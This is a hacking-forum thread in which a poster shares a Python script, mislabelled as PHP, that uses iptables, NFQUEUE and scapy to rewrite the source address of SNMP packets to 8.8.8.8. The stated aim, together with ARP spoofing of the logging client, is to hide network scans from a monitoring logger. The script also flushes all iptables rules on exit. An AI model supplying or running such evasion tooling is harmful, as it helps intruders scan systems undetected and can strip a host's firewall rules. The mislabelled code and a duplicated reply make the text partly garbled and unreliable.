[The_R]

So,

A friend of mine created a SNMP logger that will log malicious activity like scans. If the logger detects a malicous scan the server icon will blink red. I was thinking on how to evade this kind of loggers. I have some experience with NFQUEUE in Python. So I created a script that will wait till a UDP port 161 PDU comes by (help of iptables). In the iptables we will set the PDU's in a queue. In the queue we will sniff for PDU's with the specific IP of the logged server. I will set a callback loop over each PDU so that the ip.src will get spoofed to 8.8.8.8 so that the SNMP logger will only log activity on 8.8.8.8. So that we can scan the heck out of the server.(I ARP spoofed the logging client with a single arp spoof script) I thought that this is maybe useful for people that are in the same situation. So tadaa
Source:

PHP Code


<?php 
from scapy.all import *
import nfqueue
import os

os.system('iptables -I INPUT -p udp --dport 161 -j NFQUEUE')
def callback(i, payload):
     data = payload.get_data()
     pkt = IP(data)
     if pkt[IP].src == "10.11.230.2":
      pkt[IP].src ="8.8.8.8"
      print "PDU spoofed"
     del pkt.chksum
     payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))

def main():
     q = nfqueue.queue()
     q.open()
     q.bind(socket.AF_INET)
     q.set_callback(callback)
     q.create_queue(0)
     try:
      q.try_run()
     except KeyboardInterrupt:
      q.unbind(socket.AF_INET)
      q.close()
      os.system("iptables -F")
      os.system("iptables -X")
main() 


[The_R]

Weren't sure if I would post this in the python section or here. Well, Hope this is useful for someone!

[Hooded Robin]

SNMP is more powerful than most realize for system enumeration and other tasks, I think most people just don't know what it is or how MIB tables work....thanks for sharing the script, I haven't used nfqueue before but will check it out now that I have a nice example :)

[The_R]

SNMP is more powerful than most realize for system enumeration and other tasks, I think most people just don't know what it is or how MIB tables work....thanks for sharing the script, I haven't used nfqueue before but will check it out now that I have a nice example :)

I also just started with NFQUEUE a month ago. I already love it. It is more reliable because we just change the packet. Only be careful changing the TCP payload. You must change the sequence numbers if the len() differs.